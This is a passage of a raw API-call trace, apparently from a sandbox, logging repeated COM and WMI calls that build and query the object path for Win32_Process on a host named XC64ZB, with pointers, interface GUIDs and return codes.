varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0112.331] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0112.331] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0112.331] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0112.331] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0112.331] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0112.331] IUnknown:Release (This=0x6124e8) returned 0x1 [0112.332] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4d2700) returned 0x0 [0112.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2700, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0112.332] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2700, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4af520) returned 0x0 [0112.332] WbemDefPath:IUnknown:Release (This=0x1b4d2700) returned 0x0 [0112.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4af520) returned 0x0 [0112.333] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0112.333] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0112.333] WbemDefPath:IUnknown:AddRef (This=0x1b4af520) returned 0x3 [0112.333] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0112.333] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0112.333] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4d2a00) returned 0x0 [0112.333] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2a00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0112.333] WbemDefPath:IUnknown:Release (This=0x1b4d2a00) returned 0x3 [0112.333] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0112.333] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0112.333] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0112.333] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x2 [0112.333] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x1 [0112.333] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0112.333] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0112.333] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af520, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4af520) returned 0x0 [0112.334] WbemDefPath:IUnknown:AddRef (This=0x1b4af520) returned 0x3 [0112.334] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x2 [0112.334] WbemDefPath:IWbemPath:SetText (This=0x1b4af520, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0112.334] IWbemClassObject:Get (in: This=0x1b4d97f0, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0112.334] SysStringByteLen (bstr="XC64ZB") returned 0xc [0112.334] SysStringByteLen (bstr="XC64ZB") returned 0xc [0112.334] IWbemClassObject:Get (in: This=0x1b4d97f0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0112.334] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0112.334] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0112.334] IWbemClassObject:Get (in: This=0x1b4d97f0, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0112.334] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0112.334] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0112.334] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0112.334] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0112.335] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0112.335] IUnknown:Release (This=0x6124e8) returned 0x1 [0112.335] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2aa0) returned 0x0 [0112.335] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2aa0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0112.336] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2aa0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0420) returned 0x0 [0112.336] WbemDefPath:IUnknown:Release (This=0x1b4d2aa0) returned 0x0 [0112.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0420) returned 0x0 [0112.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0112.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0112.336] WbemDefPath:IUnknown:AddRef (This=0x1b4b0420) returned 0x3 [0112.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0112.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0112.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2960) returned 0x0 [0112.336] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2960, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0112.336] WbemDefPath:IUnknown:Release (This=0x1b4d2960) returned 0x3 [0112.336] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0112.336] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0112.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0112.336] WbemDefPath:IUnknown:Release (This=0x1b4b0420) returned 0x2 [0112.336] WbemDefPath:IUnknown:Release (This=0x1b4b0420) returned 0x1 [0112.337] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0112.337] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0112.337] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0420) returned 0x0 [0112.337] WbemDefPath:IUnknown:AddRef (This=0x1b4b0420) returned 0x3 [0112.337] WbemDefPath:IUnknown:Release (This=0x1b4b0420) returned 0x2 [0112.337] WbemDefPath:IWbemPath:SetText (This=0x1b4b0420, uMode=0x4, pszPath="") returned 0x0 [0112.337] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0112.337] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0112.337] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0112.337] IUnknown:Release (This=0x6124e8) returned 0x1 [0112.338] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2e20) returned 0x0 [0112.338] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2e20, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0112.338] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2e20, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b05a0) returned 0x0 [0112.338] WbemDefPath:IUnknown:Release (This=0x1b4d2e20) returned 0x0 [0112.338] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b05a0) returned 0x0 [0112.338] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0112.338] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0112.338] WbemDefPath:IUnknown:AddRef (This=0x1b4b05a0) returned 0x3 [0112.338] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0112.338] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0112.338] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2b00) returned 0x0 [0112.338] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2b00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0112.338] WbemDefPath:IUnknown:Release (This=0x1b4d2b00) returned 0x3 [0112.339] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0112.339] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0112.339] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0112.339] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x2 [0112.339] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x1 [0112.339] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0112.339] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0112.339] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b05a0) returned 0x0 [0112.339] WbemDefPath:IUnknown:AddRef (This=0x1b4b05a0) returned 0x3 [0112.339] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x2 [0112.339] WbemDefPath:IWbemPath:SetText (This=0x1b4b05a0, uMode=0x4, pszPath="") returned 0x0 [0112.339] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b05a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0112.340] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0420, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0112.340] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b05a0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0112.340] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b05a0, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0112.340] WbemDefPath:IWbemPath:SetServer (This=0x1b4b05a0, Name="XC64ZB") returned 0x0 [0112.340] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0112.340] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0112.340] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0112.341] IUnknown:Release (This=0x6124e8) returned 0x1 [0112.341] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2aa0) returned 0x0 [0112.341] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2aa0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0112.341] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2aa0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0660) returned 0x0 [0112.341] WbemDefPath:IUnknown:Release (This=0x1b4d2aa0) returned 0x0 [0112.341] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0660) returned 0x0 [0112.342] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0112.342] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0112.342] WbemDefPath:IUnknown:AddRef (This=0x1b4b0660) returned 0x3 [0112.342] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, 